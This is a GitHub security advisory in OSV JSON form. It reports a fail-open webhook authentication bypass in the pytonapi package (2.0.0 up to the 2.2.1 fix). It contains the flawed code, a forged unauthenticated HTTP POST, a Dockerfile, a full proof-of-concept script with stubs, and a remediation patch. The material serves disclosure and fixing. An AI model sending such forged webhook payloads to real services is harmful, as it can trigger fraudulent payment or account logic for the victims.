{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pytonapi"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54635"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-28T17:09:02Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Webhook Custom Path Authentication Bypass in pytonapi\n\n### Summary\n\n`TonapiWebhookDispatcher` in pytonapi 2.2.0 fails to validate the `Authorization` header when a webhook handler is registered with the documented `path=` argument. During `setup()`, bearer tokens are stored only under the default suffix paths (e.g., `/hook/account-tx`), but the custom path (e.g., `/hook/custom`) is never added to the token map. When an incoming request arrives at the custom path, `self._tokens.get(path)` returns `None`, causing the `if expected_token is not None` guard to evaluate to `False` and silently skip authentication entirely. An unauthenticated remote attacker can POST arbitrary forged payloads to the custom webhook endpoint and trigger victim-defined handlers with full integrity impact.\n\n### Details\n\nThe vulnerability is a fail-open authentication check in `pytonapi/webhook/dispatcher.py`.\n\n**Token registration (setup)** stores tokens only under default suffix paths:\n\n```python\n# dispatcher.py lines 109-112\nsuffix = self.DEFAULT_SUFFIXES[event_type]\nlocal_path = self._path + suffix          # e.g., \"/hook/account-tx\"\nwebhook = await self._client.ensure(f\"{self._url}{suffix}\")\nself._tokens[local_path] = webhook.token  # custom path is NEVER stored here\n```\n\n**Handler registration** preserves the custom path in the handler tuple:\n\n```python\n# dispatcher.py lines 339, 342\nresolved_path = path or self._resolve_path(event_type)  # -\u003e \"/hook/custom\"\nself._handlers[event_type].append((account_filter, fn, resolved_path))\n```\n\n**Path routing** (`_build_path_map`) correctly maps the custom path to the event type:\n\n```python\n# dispatcher.py line 182\nreturn {handlers[0][2]: et for et, handlers in self._handlers.items() if handlers}\n# -\u003e {\"/hook/custom\": WebhookEventType.ACCOUNT_TX}\n```\n\n**Authentication check** (fail-open):\n\n```python\n# dispatcher.py lines 286-288\nexpected_token = self._tokens.get(path)        # \"/hook/custom\" -\u003e None\nif expected_token is not None and authorization != f\"Bearer {expected_token}\":\n    raise TONAPIError(\"Invalid webhook token\")  # SKIPPED because expected_token is None\n```\n\nBecause `expected_token` is `None` for any custom path, the condition `expected_token is not None` is always `False`. The `raise` is never reached regardless of what the `Authorization` header contains \u2014 or whether it is absent entirely. Execution continues to lines 291 and 297 where the attacker\u0027s payload is parsed and the victim handler is invoked.\n\nThe `path=` argument is an officially documented feature (see `docs/webhooks/guide.mdx` lines 140 and 153), meaning any user following the public documentation is vulnerable.\n\n### PoC\n\n**Requirements:** Python 3.12, pytonapi 2.2.0 installed from source (commit `e46c4a4`).\n\n**Build and run with Docker:**\n\n```bash\n# From the repository root\ndocker build -t vuln001-pytonapi -f vuln-001/Dockerfile .\ndocker run --rm vuln001-pytonapi\n```\n\nThe Dockerfile installs pytonapi from the local source tree and executes `poc.py`.\n\n**What the PoC does:**\n\n1. Creates a `TonapiWebhookDispatcher` with a custom-path handler (`path=\"/hook/custom\"`).\n2. Calls `setup()` \u2014 tokens are registered only for `/hook/account-tx`.\n3. **Case A** \u2014 calls `process(\"/hook/custom\", forged_payload, authorization=None)`: no `Authorization` header, handler fires.\n4. **Case B** \u2014 calls `process(\"/hook/custom\", forged_payload, authorization=\"Bearer totally-wrong-token\")`: wrong token, handler still fires.\n5. **Case C** (control) \u2014 same attack against the default path `/hook/account-tx` with no auth: correctly raises `TONAPIError`.\n6. **Case D** (control) \u2014 default path with valid token: correctly accepted.\n\n**Simulated malicious HTTP request routed to the victim dispatcher:**\n\n```\nPOST /hook/custom HTTP/1.1\nHost: victim.example\nContent-Type: application/json\n# No Authorization header\n\n{\"event_type\":\"account_tx\",\"account_id\":\"0:victim\",\"lt\":1,\"tx_hash\":\"FORGED_TX_HASH\"}\n```\n\n**Expected output confirming the vulnerability:**\n\n```\n[dispatcher_a] _tokens map: {\u0027/hook/account-tx\u0027: \u0027real-secret-token-abc123\u0027}\n\nCase A: VULNERABLE \u2014 handler invoked with NO Authorization header; custom_called=[\u0027FORGED_TX_HASH\u0027]\nCase B: VULNERABLE \u2014 handler invoked with WRONG Authorization header; custom_called=[\u0027FORGED_TX_HASH\u0027]\nCase C: CORRECTLY_REJECTED \u2014 Invalid webhook token\nCase D: CORRECTLY_ACCEPTED \u2014 default path with valid auth\n\n[RESULT] VULNERABILITY CONFIRMED\n```\n\n**Remediation (patch):**\n\n```diff\n--- a/pytonapi/webhook/dispatcher.py\n+++ b/pytonapi/webhook/dispatcher.py\n@@\n     def _build_path_map(self) -\u003e dict[str, WebhookEventType]:\n-        return {handlers[0][2]: et for et, handlers in self._handlers.items() if handlers}\n+        return {path: et for et, handlers in self._handlers.items() for _, _, path in handlers}\n@@\n-            suffix = self.DEFAULT_SUFFIXES[event_type]\n-            local_path = self._path + suffix\n-            webhook = await self._client.ensure(f\"{self._url}{suffix}\")\n-            self._tokens[local_path] = webhook.token\n+            local_paths = sorted({path for _, _, path in handlers})\n+            for local_path in local_paths:\n+                endpoint = self._endpoint_for_path(local_path)\n+                webhook = await self._client.ensure(endpoint)\n+                self._tokens[local_path] = webhook.token\n@@\n+    def _endpoint_for_path(self, path: str) -\u003e str:\n+        parsed = urlparse(self._url)\n+        return parsed._replace(path=path, params=\"\", query=\"\", fragment=\"\").geturl()\n```\n\n### Impact\n\nThis is an **Improper Authentication** vulnerability (CWE-287). Any application that:\n\n1. Uses `TonapiWebhookDispatcher` from pytonapi 2.2.0, **and**\n2. Registers at least one handler using the documented `path=` keyword argument,\n\nis fully exposed. The webhook endpoint becomes publicly callable without credentials. An unauthenticated network attacker can:\n\n- Forge arbitrary TON blockchain events (e.g., fake `account_tx` notifications).\n- Trigger victim-defined business logic \u2014 payment processing, account state updates, notification dispatch \u2014 with attacker-controlled data.\n- Cause financial or operational harm depending on what the victim handler does.\n\nConfidentiality is not directly affected (the attacker sends data, does not read it). Availability is not the primary impact. Integrity is critically impacted because the attacker fully controls the event data delivered to the handler.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.12-slim\n\nWORKDIR /app\n\n# Copy the repository source code\nCOPY repo/ /app/repo/\n\n# Install pytonapi from local source (exact commit under test)\nRUN pip install --no-cache-dir /app/repo/\n\n# Copy the proof-of-concept script\nCOPY vuln-001/poc.py /app/poc.py\n\n# Run the PoC by default\nCMD [\"python3\", \"/app/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n\"\"\"\nPoC for VULN-001: Webhook custom path authentication bypass\n===========================================================\nCVE candidate: CWE-287 \u2014 Improper Authentication\nAffected:      pytonapi 2.2.0 (commit e46c4a4)\nFile:          pytonapi/webhook/dispatcher.py\n\nRoot cause\n----------\nWhen a handler is registered with the documented `path=` argument:\n\n    @dispatcher.account_tx(path=\"/hook/custom\")\n    async def on_tx(event): ...\n\nsetup() stores the bearer token ONLY for the default-suffix path:\n\n    local_path = self._path + suffix       # -\u003e \"/hook/account-tx\"\n    self._tokens[local_path] = webhook.token   # line 112\n\nThe custom path \"/hook/custom\" is never added to _tokens.\n\n_build_path_map() correctly routes \"/hook/custom\" -\u003e ACCOUNT_TX\nbecause it reads handlers[0][2] which IS the custom path when the\ncustom-path handler is the only one registered.\n\nIn process():\n\n    expected_token = self._tokens.get(path)   # line 286 -\u003e None (missing)\n    if expected_token is not None and ...:    # line 287 -\u003e False (SKIP)\n        raise TONAPIError(\"Invalid webhook token\")\n\nBecause expected_token is None the auth check is bypassed entirely\n(fail-open). An attacker can POST any forged payload to the custom\npath without any Authorization header and trigger the victim handler.\n\nTest matrix\n-----------\nCase A: custom path + no auth          -\u003e SHOULD raise  (BUG: passes)\nCase B: custom path + wrong auth token -\u003e SHOULD raise  (BUG: passes)\nCase C: default path + no auth         -\u003e SHOULD raise  (control: correctly raises)\nCase D: default path + valid auth      -\u003e SHOULD pass   (control: correctly passes)\n\"\"\"\n\nimport asyncio\nimport sys\n\nfrom pytonapi.exceptions import TONAPIError\nfrom pytonapi.webhook.dispatcher import TonapiWebhookDispatcher\n\n\n# ---------------------------------------------------------------------------\n# Minimal stubs \u2014 no real network I/O needed\n# ---------------------------------------------------------------------------\n\nclass FakeWebhookEndpoint:\n    \"\"\"Simulates the TONAPI webhook object returned by client.ensure().\"\"\"\n\n    def __init__(self, token: str) -\u003e None:\n        self.token = token\n\n    async def sync_accounts(self, accounts: list) -\u003e None:\n        pass\n\n\nclass FakeWebhookClient:\n    \"\"\"Simulates TonapiWebhookClient: records which endpoints were registered.\"\"\"\n\n    def __init__(self) -\u003e None:\n        self.registered_endpoints: list[str] = []\n\n    async def create_session(self) -\u003e None:\n        pass\n\n    async def ensure(self, endpoint: str) -\u003e FakeWebhookEndpoint:\n        self.registered_endpoints.append(endpoint)\n        return FakeWebhookEndpoint(token=\"real-secret-token-abc123\")\n\n    async def close_session(self) -\u003e None:\n        pass\n\n\n# ---------------------------------------------------------------------------\n# PoC\n# ---------------------------------------------------------------------------\n\nasync def run_poc() -\u003e bool:\n    \"\"\"Execute all test cases and return True if the vulnerability is confirmed.\"\"\"\n\n    # -----------------------------------------------------------------\n    # Dispatcher A: only a CUSTOM path handler (the vulnerable scenario)\n    # -----------------------------------------------------------------\n    client_a = FakeWebhookClient()\n    dispatcher_a = TonapiWebhookDispatcher(\n        \"https://victim.example/hook\",\n        client=client_a,\n        accounts=[\"0:victim\"],\n    )\n    custom_called: list[str] = []\n\n    # Victim uses the documented path= feature (see docs/webhooks/guide.mdx:140)\n    @dispatcher_a.account_tx(\"0:victim\", path=\"/hook/custom\")\n    async def on_custom_tx(event) -\u003e None:\n        custom_called.append(event.tx_hash)\n\n    await dispatcher_a.setup()\n\n    # -----------------------------------------------------------------\n    # Dispatcher B: only a DEFAULT path handler (control group)\n    # -----------------------------------------------------------------\n    client_b = FakeWebhookClient()\n    dispatcher_b = TonapiWebhookDispatcher(\n        \"https://victim.example/hook\",\n        client=client_b,\n        accounts=[\"0:victim\"],\n    )\n    default_called: list[str] = []\n\n    @dispatcher_b.account_tx(\"0:victim\")\n    async def on_default_tx(event) -\u003e None:\n        default_called.append(event.tx_hash)\n\n    await dispatcher_b.setup()\n\n    print(\"=\" * 60)\n    print(\"VULN-001: Webhook custom path authentication bypass PoC\")\n    print(\"=\" * 60)\n    print(f\"[dispatcher_a] registered paths  : {dispatcher_a.paths}\")\n    print(f\"[dispatcher_a] endpoints called  : {client_a.registered_endpoints}\")\n    print(f\"[dispatcher_a] _tokens map       : {dispatcher_a._tokens}\")\n    print()\n    print(f\"[dispatcher_b] registered paths  : {dispatcher_b.paths}\")\n    print(f\"[dispatcher_b] endpoints called  : {client_b.registered_endpoints}\")\n    print(f\"[dispatcher_b] _tokens map       : {dispatcher_b._tokens}\")\n    print()\n\n    forged_payload = {\n        \"event_type\": \"account_tx\",\n        \"account_id\": \"0:victim\",\n        \"lt\": 1,\n        \"tx_hash\": \"FORGED_TX_HASH\",\n    }\n\n    results: dict[str, str] = {}\n\n    # ------------------------------------------------------------------\n    # Case A: custom path, NO auth -\u003e BUG: should raise, actually passes\n    # ------------------------------------------------------------------\n    custom_called.clear()\n    try:\n        await dispatcher_a.process(\n            \"/hook/custom\",\n            forged_payload,\n            authorization=None,\n        )\n        if \"FORGED_TX_HASH\" in custom_called:\n            results[\"A\"] = (\n                \"VULNERABLE \u2014 handler invoked with NO Authorization header; \"\n                \"custom_called=\" + repr(custom_called)\n            )\n        else:\n            results[\"A\"] = \"UNCERTAIN \u2014 process() did not raise but handler was not called\"\n    except TONAPIError as exc:\n        results[\"A\"] = f\"NOT_VULNERABLE (raised) \u2014 {exc}\"\n\n    # ------------------------------------------------------------------\n    # Case B: custom path, WRONG auth -\u003e BUG: should raise, actually passes\n    # ------------------------------------------------------------------\n    custom_called.clear()\n    try:\n        await dispatcher_a.process(\n            \"/hook/custom\",\n            forged_payload,\n            authorization=\"Bearer totally-wrong-token\",\n        )\n        if \"FORGED_TX_HASH\" in custom_called:\n            results[\"B\"] = (\n                \"VULNERABLE \u2014 handler invoked with WRONG Authorization header; \"\n                \"custom_called=\" + repr(custom_called)\n            )\n        else:\n            results[\"B\"] = \"UNCERTAIN \u2014 process() did not raise but handler was not called\"\n    except TONAPIError as exc:\n        results[\"B\"] = f\"NOT_VULNERABLE (raised) \u2014 {exc}\"\n\n    # ------------------------------------------------------------------\n    # Case C: default path, NO auth -\u003e must raise (control: works correctly)\n    # ------------------------------------------------------------------\n    default_called.clear()\n    try:\n        await dispatcher_b.process(\n            \"/hook/account-tx\",\n            forged_payload,\n            authorization=None,\n        )\n        results[\"C\"] = \"UNEXPECTED_PASS \u2014 default path accepted no-auth (unexpected)\"\n    except TONAPIError as exc:\n        results[\"C\"] = f\"CORRECTLY_REJECTED \u2014 {exc}\"\n\n    # ------------------------------------------------------------------\n    # Case D: default path, VALID auth -\u003e baseline, must succeed (control)\n    # ------------------------------------------------------------------\n    default_called.clear()\n    try:\n        await dispatcher_b.process(\n            \"/hook/account-tx\",\n            forged_payload,\n            authorization=\"Bearer real-secret-token-abc123\",\n        )\n        if \"FORGED_TX_HASH\" in default_called:\n            results[\"D\"] = \"CORRECTLY_ACCEPTED \u2014 default path with valid auth\"\n        else:\n            results[\"D\"] = \"UNCERTAIN \u2014 process() did not raise but handler was not called\"\n    except TONAPIError as exc:\n        results[\"D\"] = f\"UNEXPECTED_REJECTION \u2014 {exc}\"\n\n    # ------------------------------------------------------------------\n    # Summary\n    # ------------------------------------------------------------------\n    print(\"Test results:\")\n    for case, result in results.items():\n        print(f\"  Case {case}: {result}\")\n    print()\n\n    vuln_confirmed = (\n        \"VULNERABLE\" in results.get(\"A\", \"\")\n        and \"VULNERABLE\" in results.get(\"B\", \"\")\n        and \"CORRECTLY_REJECTED\" in results.get(\"C\", \"\")\n        and \"CORRECTLY_ACCEPTED\" in results.get(\"D\", \"\")\n    )\n\n    if vuln_confirmed:\n        print(\"[RESULT] VULNERABILITY CONFIRMED\")\n        print(\"  dispatcher_a._tokens has NO entry for /hook/custom (only for /hook/account-tx)\")\n        print(\"  =\u003e expected_token=None =\u003e auth check skipped =\u003e forged handler called\")\n        print(\"  Attacker can POST any payload to /hook/custom without credentials.\")\n    else:\n        print(\"[RESULT] VULNERABILITY NOT CONFIRMED\")\n        print(\"  Check individual case results above for details.\")\n\n    return vuln_confirmed\n\n\nif __name__ == \"__main__\":\n    confirmed = asyncio.run(run_poc())\n    sys.exit(0 if confirmed else 1)\n```",
  "id": "GHSA-3fcr-jvgp-7f58",
  "modified": "2026-07-28T17:09:02Z",
  "published": "2026-07-28T17:09:02Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nessshon/tonapi/security/advisories/GHSA-3fcr-jvgp-7f58"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nessshon/tonapi/commit/854222b7ee68d3fb7b4d6d899d200f388483bd86"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nessshon/tonapi"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nessshon/tonapi/releases/tag/v2.2.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "pytonapi has a Webhook Custom Path Authentication Bypass"
}